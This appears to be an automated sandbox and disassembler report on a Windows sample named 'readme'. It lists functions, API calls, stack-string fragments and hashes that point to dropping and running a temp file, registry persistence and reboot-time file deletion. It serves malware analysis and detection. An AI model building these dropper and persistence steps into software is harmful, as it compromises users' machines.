ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

x, xrefs: 004139E6
x, xrefs: 00413822
', xrefs: 00413702
z, xrefs: 00413844
x, xrefs: 004136EB
', xrefs: 00413914
^, xrefs: 00413A26
:, xrefs: 00413813
Y, xrefs: 00413818
', xrefs: 00413830
h, xrefs: 00413A4D
z, xrefs: 00413928
:, xrefs: 004139D7
0, xrefs: 00413A12
:, xrefs: 004136D3
', xrefs: 004139F4
Y, xrefs: 004136DB
{, xrefs: 004136CB
x, xrefs: 00413906
4, xrefs: 0041370A
z, xrefs: 00413A08
4, xrefs: 00413835
4, xrefs: 004139F9
0, xrefs: 00413732
0, xrefs: 00413932
F, xrefs: 00413A66
0, xrefs: 0041384E
4, xrefs: 00413919
Y, xrefs: 004138FC
{, xrefs: 004139D2
z, xrefs: 00413722
{, xrefs: 004138F2
F, xrefs: 004138A2
{, xrefs: 0041380E
m, xrefs: 00413867
:, xrefs: 004138F7
m, xrefs: 00413A2B
t, xrefs: 0041389D
Y, xrefs: 004139DC
<, xrefs: 00413A39
t, xrefs: 00413A61

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$DeleteEnvironmentExpandStrings$Move
String ID: '$'$'$'$0$0$0$0$4$4$4$4$:$:$:$:$<$F$F$Y$Y$Y$Y$^$h$m$m$t$t$x$x$x$x$z$z$z$z${${${${
API String ID: 1654938343-3628898711
Opcode ID: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
Instruction ID: ffda26696a7c03ebfd7e55884b4f9ff3b6aa4abcfec39c9677275916e54d1851
Opcode Fuzzy Hash: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
Instruction Fuzzy Hash: 05D1A91100C7C289D322D67C945878FFFD51BE7228F484F9DE1E99A2D2C6AA824DC767

Function 00401960 Relevance: 84.3, APIs: 15, Strings: 33, Instructions: 332memorysleepfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00080000), ref: 00401BC5
HeapAlloc.KERNEL32(00000000), ref: 00401BCC
Sleep.KERNEL32(000493E0), ref: 00401C28
Sleep.KERNEL32(000003E8), ref: 00401C4B
GetTempPathA.KERNEL32(00000104,?), ref: 00401D10
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00401D2D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401D5A
WriteFile.KERNEL32(00000000,00000007,?,?,00000000), ref: 00401D7B
CloseHandle.KERNEL32(00000000), ref: 00401D93
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401DD0
CloseHandle.KERNEL32(?), ref: 00401DDF
CloseHandle.KERNEL32(?), ref: 00401DED
GetProcessHeap.KERNEL32(00000000,?), ref: 00401E5C
HeapFree.KERNEL32(00000000), ref: 00401E63

Strings

4, xrefs: 004019BC
N, xrefs: 00401A6C
P, xrefs: 00401A89
-, xrefs: 00401A71
Y, xrefs: 004019A3
', xrefs: 004019B7
B, xrefs: 00401A7A
C, xrefs: 00401A8E
^, xrefs: 00401B76
+, xrefs: 00401B5F
D, xrefs: 00401DBD
\, xrefs: 00401A0C
:, xrefs: 0040199E
@, xrefs: 00401ACF
0, xrefs: 004019D5
v, xrefs: 00401A33
e, xrefs: 00401AA2
p, xrefs: 00401A4F
T, xrefs: 00401A9D
}, xrefs: 00401A5E
I, xrefs: 00401A54
A, xrefs: 00401A46
c, xrefs: 00401A02
y, xrefs: 00401A07
S, xrefs: 00401A29
r, xrefs: 00401B00
;, xrefs: 00401B30
{, xrefs: 00401999
2, xrefs: 004019F3
K, xrefs: 00401A98
,, xrefs: 00401B7E
U, xrefs: 00401AA7
z, xrefs: 004019CB

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$CloseFileHandleProcess$CreateSleepTemp$AllocFreeNamePathWrite
String ID: '$+$,$-$0$2$4$:$;$@$A$B$C$D$I$K$N$P$S$T$U$Y$\$^$c$e$p$r$v$y$z${$}
API String ID: 633426975-1940365277
Opcode ID: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction ID: e6c0c0694c561dc4f23d5baa3025b2d471003fa36f15fb022360e7d662cf5cb9
Opcode Fuzzy Hash: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction Fuzzy Hash: B7E16B3014C7C18EE321CB789848B9BBFD46BA6324F185A5DF2E48B2E2C7B58405D767

Function 0041DA67 Relevance: 82.4, APIs: 5, Strings: 42, Instructions: 185libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041DC17
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DCDE
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DDB9

Strings

S, xrefs: 0041DB9E
u, xrefs: 0041DCFB
$, xrefs: 0041DC54
_, xrefs: 0041DD69
H, xrefs: 0041DAE9
L, xrefs: 0041DD0F
J, xrefs: 0041DD55
`, xrefs: 0041DB99
6, xrefs: 0041DD6E
7, xrefs: 0041DC34
6, xrefs: 0041DD19
g, xrefs: 0041DB47
o, xrefs: 0041DB51
~, xrefs: 0041DAA8
$, xrefs: 0041DD82
T, xrefs: 0041DB3D
p, xrefs: 0041DD91
I, xrefs: 0041DDA5
W, xrefs: 0041DD87
@, xrefs: 0041DCCC
&, xrefs: 0041DAF8
S, xrefs: 0041DD28
I, xrefs: 0041DAC1
M, xrefs: 0041DD1E
H, xrefs: 0041DCC4
1, xrefs: 0041DDA0
m, xrefs: 0041DB80
9, xrefs: 0041DD50
<, xrefs: 0041DD78
`, xrefs: 0041DC64
X, xrefs: 0041DD32
T, xrefs: 0041DADA
L, xrefs: 0041DC84
X, xrefs: 0041DD73
t, xrefs: 0041DD9B
L, xrefs: 0041DC7C
|, xrefs: 0041DD5F
i, xrefs: 0041DC4C
;, xrefs: 0041DC3C
M, xrefs: 0041DCAC
S, xrefs: 0041DD7D
1, xrefs: 0041DAB7

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$&$1$1$6$6$7$9$;$<$@$H$H$I$I$J$L$L$L$M$M$S$S$S$T$T$W$X$X$_$`$`$g$i$m$o$p$t$u$|$~
API String ID: 2238633743-2441341231
Opcode ID: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
Instruction ID: f0a6fbca38eaa9f6d36dd2073cba8300d351a760273fb7828a6aeea559b7586c
Opcode Fuzzy Hash: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
Instruction Fuzzy Hash: B9A1762010C7C1CDD332D27D984879FBFD11BA3368F484A9DA1E85A2D2D7AA8549C777

Function 00423870 Relevance: 81.2, APIs: 1, Strings: 53, Instructions: 204COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00423AFC

Strings

x, xrefs: 004238FE
q, xrefs: 0042393E
), xrefs: 004239C2
<, xrefs: 0042398A
K, xrefs: 004238EE
/, xrefs: 004238CA
y, xrefs: 00423A3E
V, xrefs: 00423952
V, xrefs: 00423932
V, xrefs: 00423992
C, xrefs: 0042395A
<, xrefs: 0042392A
), xrefs: 00423962
f, xrefs: 00423886
s, xrefs: 00423956
), xrefs: 00423982
<, xrefs: 004239AA
z, xrefs: 004238FA
J, xrefs: 00423A12
c, xrefs: 00423906
<, xrefs: 0042394A
u, xrefs: 00423A3A
C, xrefs: 004238B2
], xrefs: 00423A0E
q, xrefs: 0042399E
{, xrefs: 004238A6
[, xrefs: 004238B6
l, xrefs: 00423A4A
), xrefs: 00423942
C, xrefs: 004239BA
q, xrefs: 004239BE
s, xrefs: 00423A16
V, xrefs: 004239B2
q, xrefs: 0042397E
V, xrefs: 00423972
t, xrefs: 00423A2A
1, xrefs: 00423912
<, xrefs: 0042396A
C, xrefs: 0042399A
b, xrefs: 004238CE
E, xrefs: 004238F6
s, xrefs: 004239B6
j, xrefs: 00423A1E
s, xrefs: 00423936
C, xrefs: 0042393A
), xrefs: 004239A2
), xrefs: 00423922
C, xrefs: 0042397A
\, xrefs: 00423A42
U, xrefs: 00423902
s, xrefs: 00423996
s, xrefs: 00423976
q, xrefs: 0042395E

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: wsprintf
String ID: )$)$)$)$)$)$/$1$<$<$<$<$<$C$C$C$C$C$C$E$J$K$U$V$V$V$V$V$[$\$]$b$c$f$j$l$q$q$q$q$q$s$s$s$s$s$s$t$u$x$y$z${
API String ID: 2111968516-877203839
Opcode ID: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
Instruction ID: b8cea7b21e1b0b0dd3eef741e46aff7ac42a2e861af7119df59345f413ed0d70
Opcode Fuzzy Hash: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
Instruction Fuzzy Hash: 2BB1E810D0C7D999EB22C2FC94587DEBFB50F27318F580299D5E47B2D2C2AA0249C77A

Function 0041F250 Relevance: 79.0, APIs: 9, Strings: 36, Instructions: 270memoryprocessCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000104), ref: 0041F51C
HeapAlloc.KERNEL32(00000000), ref: 0041F523
GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 0041F546
CreateEventA.KERNEL32(00000000,00000001,00000000,00000054), ref: 0041F5DA
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,00000014), ref: 0041F609
CloseHandle.KERNEL32(00000014), ref: 0041F628
CloseHandle.KERNEL32(00000022), ref: 0041F62F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041F634
HeapFree.KERNEL32(00000000), ref: 0041F63B

Strings

8, xrefs: 0041F400
), xrefs: 0041F2B0
., xrefs: 0041F44E
", xrefs: 0041F2E2
;, xrefs: 0041F31D
), xrefs: 0041F380
*, xrefs: 0041F313
Z, xrefs: 0041F3DD
D, xrefs: 0041F47F
E, xrefs: 0041F394
(, xrefs: 0041F46C
p, xrefs: 0041F3D3
L, xrefs: 0041F3E2
0, xrefs: 0041F3CE
i, xrefs: 0041F3BF
, xrefs: 0041F318
v, xrefs: 0041F3C4
V, xrefs: 0041F40A
*, xrefs: 0041F3B1
`, xrefs: 0041F2DD
D, xrefs: 0041F53E
E, xrefs: 0041F2C4
S, xrefs: 0041F2AB
S, xrefs: 0041F37B
P, xrefs: 0041F2A2
T, xrefs: 0041F27E
z, xrefs: 0041F453
", xrefs: 0041F40F
N, xrefs: 0041F38F
D, xrefs: 0041F2D3
, xrefs: 0041F3C9
o, xrefs: 0041F444
N, xrefs: 0041F2BF
s, xrefs: 0041F3F6
D, xrefs: 0041F5A0
T, xrefs: 0041F363

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$Process$CloseCreateHandle$AllocDirectoryEventFreeSystem
String ID: $ $"$"$($)$)$*$*$.$0$8$;$D$D$D$D$E$E$L$N$N$P$S$S$T$T$V$Z$`$i$o$p$s$v$z
API String ID: 1999696495-2708113935
Opcode ID: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
Instruction ID: 6417ec356ac032fdf8ba3c7335fdffbff661ba0545f4a4a4b03294bf4e60ec5a
Opcode Fuzzy Hash: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
Instruction Fuzzy Hash: 40D1062110C7C19AD322CB3C984878FBFD15BA7618F584A9DF1E44B3E2C6A5854AC76B

Function 00412C90 Relevance: 75.4, APIs: 3, Strings: 40, Instructions: 189registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,00000001), ref: 00412EBA
RegQueryValueExA.ADVAPI32(000000F2,00000092,00000000,000000EC,?,?,00000000), ref: 00412F74
RegCloseKey.ADVAPI32(00000104), ref: 00412F88

Strings

%, xrefs: 00412E2B
}, xrefs: 00412CE1
:, xrefs: 00412E66
e, xrefs: 00412EDF
9, xrefs: 00412E35
W, xrefs: 00412E4E
O, xrefs: 00412D4D
M, xrefs: 00412D17
_, xrefs: 00412DCE
#, xrefs: 00412CF5
`, xrefs: 00412EF3
L, xrefs: 00412DD3
[, xrefs: 00412D12
C, xrefs: 00412DDD
t, xrefs: 00412DE2
c, xrefs: 00412F1A
;, xrefs: 00412D7C
J, xrefs: 00412D30
>, xrefs: 00412E6E
V, xrefs: 00412D72
D, xrefs: 00412E26
S, xrefs: 00412D69
R, xrefs: 00412D9C
y, xrefs: 00412EF8
h, xrefs: 00412D35
I, xrefs: 00412E5E
', xrefs: 00412CB5
g, xrefs: 00412DB5
v, xrefs: 00412DA1
c, xrefs: 00412D5A
4, xrefs: 00412E1C
p, xrefs: 00412D8E
1, xrefs: 00412CFE
D, xrefs: 00412F2E
=, xrefs: 00412DC4
d, xrefs: 00412CEB
>, xrefs: 00412D3F
0, xrefs: 00412EE9
0, xrefs: 00412D81
4, xrefs: 00412EFD

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: #$%$'$0$0$1$4$4$9$:$;$=$>$>$C$D$D$I$J$L$M$O$R$S$V$W$[$_$`$c$c$d$e$g$h$p$t$v$y$}
API String ID: 3677997916-3213928184
Opcode ID: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
Instruction ID: 3f64c0876ea013b4995e57e445dd95fb29515ce67b52a393eb856a41c12e0995
Opcode Fuzzy Hash: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
Instruction Fuzzy Hash: 80A1B32110D7C199D322C67C984874FFFD51BA7228F584A9DF1E44B3E3C2AA8649C76B

Function 00412FC0 Relevance: 66.7, APIs: 6, Strings: 32, Instructions: 167registrystringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004131E0
lstrcatA.KERNEL32(?,0042E3FC), ref: 004131F0
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F), ref: 0041320B
lstrlenA.KERNEL32(?), ref: 00413237
RegSetValueExA.ADVAPI32(?,8s2?,00000000,00000001,?,00000000), ref: 00413250
RegCloseKey.ADVAPI32(?,?,8s2?,00000000,00000001,?,00000000), ref: 0041325A

Strings

,, xrefs: 0041309E
], xrefs: 00413175
P, xrefs: 00413192
7, xrefs: 0041313F
^, xrefs: 0041308F
X, xrefs: 004130E8
o, xrefs: 00413113
d, xrefs: 004130F7
8s2?, xrefs: 0041324A, 0041324E
`, xrefs: 004130F2
\, xrefs: 00413026
3, xrefs: 00413094
s, xrefs: 0041321F
s, xrefs: 0041303A
r, xrefs: 00413229
~, xrefs: 004130ED
t, xrefs: 0041321A
?, xrefs: 0041313A
#, xrefs: 00413067
S, xrefs: 00413197
k, xrefs: 00413144
B, xrefs: 004130FC
P, xrefs: 0041306C
;, xrefs: 00413170
G, xrefs: 00413135
@, xrefs: 00413071
0, xrefs: 004130B7
v, xrefs: 0041322E
_, xrefs: 00413188
2, xrefs: 00413035
e, xrefs: 00413224
?, xrefs: 00413030

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseFileModuleNameOpenValuelstrcatlstrlen
String ID: #$,$0$2$3$7$8s2?$;$?$?$@$B$G$P$P$S$X$\$]$^$_$`$d$e$k$o$r$s$s$t$v$~
API String ID: 2804959344-2516123405
Opcode ID: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
Instruction ID: 3ee603018d8f15d3993d5d5bb64ccc4771c2b301eb19da9cd57cd54bae0688a3
Opcode Fuzzy Hash: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
Instruction Fuzzy Hash: 2091B62100D7C299D322D77C584864FFFE15BA7228F485A9DF1E45B3E3C2A98249C767

Function 00422EF0 Relevance: 63.2, APIs: 7, Strings: 29, Instructions: 226fileCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00423155
DeleteFileA.KERNEL32(?), ref: 0042319C
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004231B1
DeleteFileA.KERNEL32(?), ref: 004231E9
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004231F7
DeleteFileA.KERNEL32(?), ref: 0042322F
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0042323D

Strings

), xrefs: 00422FF8
E, xrefs: 004230C9
), xrefs: 00422F44
D, xrefs: 004230D8
", xrefs: 00423029
N, xrefs: 004230C4
h, xrefs: 00423024
;, xrefs: 0042311D
P, xrefs: 00422F35
*, xrefs: 00423113
`, xrefs: 004230E2
N, xrefs: 00422F53
), xrefs: 004230B5
;, xrefs: 00423063
%s\%s, xrefs: 0042317A, 004231CD, 00423213
T, xrefs: 00422FC5
P, xrefs: 00422FE9
", xrefs: 004230E7
N, xrefs: 00423007
E, xrefs: 0042300C
, xrefs: 00423118
S, xrefs: 00422F3F
S, xrefs: 004230B0
S, xrefs: 00422FF3
A, xrefs: 0042301A
P, xrefs: 004230A6
E, xrefs: 00422F58
T, xrefs: 0042308A
T, xrefs: 00422F11

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$DeleteMove$DirectorySystem
String ID: $"$"$%s\%s$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$h
API String ID: 84336133-1389313269
Opcode ID: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
Instruction ID: 6d08323a6e56f1df77390437f2eab8c0537e31e2364f4842ab75f608d072a465
Opcode Fuzzy Hash: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
Instruction Fuzzy Hash: 44B1E96110C7C199D322DA7D9848B8FFFD51BE7218F480E9DB1E45B2D2C2A9824DC7A7

Function 0040C3C0 Relevance: 60.3, APIs: 2, Strings: 38, Instructions: 293stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75920440), ref: 0040C634

Strings

a, xrefs: 0040C6BB
$, xrefs: 0040C7FC
(, xrefs: 0040C71A
d, xrefs: 0040C4C8
F, xrefs: 0040C7CB
p, xrefs: 0040C6CA
., xrefs: 0040C7ED
=, xrefs: 0040C697
, xrefs: 0040C81F
k, xrefs: 0040C572
), xrefs: 0040C453
q, xrefs: 0040C78F
n, xrefs: 0040C4CD
O, xrefs: 0040C72A
u, xrefs: 0040C4E4
}, xrefs: 0040C6DA
@, xrefs: 0040C6E2
\, xrefs: 0040C7E3
[, xrefs: 0040C59A
O, xrefs: 0040C417
D, xrefs: 0040C75A
c, xrefs: 0040C7B2
g, xrefs: 0040C7AD
a, xrefs: 0040C515
O, xrefs: 0040C69C
`, xrefs: 0040C506
:, xrefs: 0040C6F2
g, xrefs: 0040C4AB
z, xrefs: 0040C815
~, xrefs: 0040C824
+, xrefs: 0040C7BC
x, xrefs: 0040C58B
I, xrefs: 0040C595
&, xrefs: 0040C799
A, xrefs: 0040C471
', xrefs: 0040C403
`, xrefs: 0040C7F7
;, xrefs: 0040C74A

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: lstrlen
String ID: $$$&$'$($)$+$.$:$;$=$@$A$D$F$I$O$O$O$[$\$`$`$a$a$c$d$g$g$k$n$p$q$u$x$z$}$~
API String ID: 1659193697-1776773038
Opcode ID: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
Instruction ID: a6680903d8d87bbf61f69c5cc6f64f2f96010d0bd9b0eb87acbe41b91fb4e4d2
Opcode Fuzzy Hash: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
Instruction Fuzzy Hash: 53F1C31100C7C2C9D322D63D588878FFFD11BA7228F585B9DF1E89A2E3C6A5810AC767

Function 00421EC0 Relevance: 58.0, APIs: 4, Strings: 29, Instructions: 298COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00422115

Strings

P, xrefs: 00422076
A, xrefs: 00421FEA
fwe, xrefs: 004222C5
;, xrefs: 00422033
N, xrefs: 00422094
E, xrefs: 00421FDC
T, xrefs: 0042205A
P, xrefs: 00421F05
T, xrefs: 00421EE1
;, xrefs: 004220ED
P, xrefs: 00421FB9
S, xrefs: 00421FC3
), xrefs: 00421FC8
T, xrefs: 00421F95
`, xrefs: 004220B2
", xrefs: 004220B7
E, xrefs: 00422099
N, xrefs: 00421FD7
), xrefs: 00421F14
*, xrefs: 004220E3
h, xrefs: 00421FF4
N, xrefs: 00421F23
), xrefs: 00422085
, xrefs: 004220E8
D, xrefs: 004220A8
", xrefs: 00421FF9
S, xrefs: 00422080
S, xrefs: 00421F0F
E, xrefs: 00421F28

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: DirectorySystem
String ID: $"$"$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$fwe$h
API String ID: 2188284642-27414503
Opcode ID: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
Instruction ID: 3c27c6c0b435376128c9c62176485abffcf5cee6cb450e7dbb9848ef72dacce5
Opcode Fuzzy Hash: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
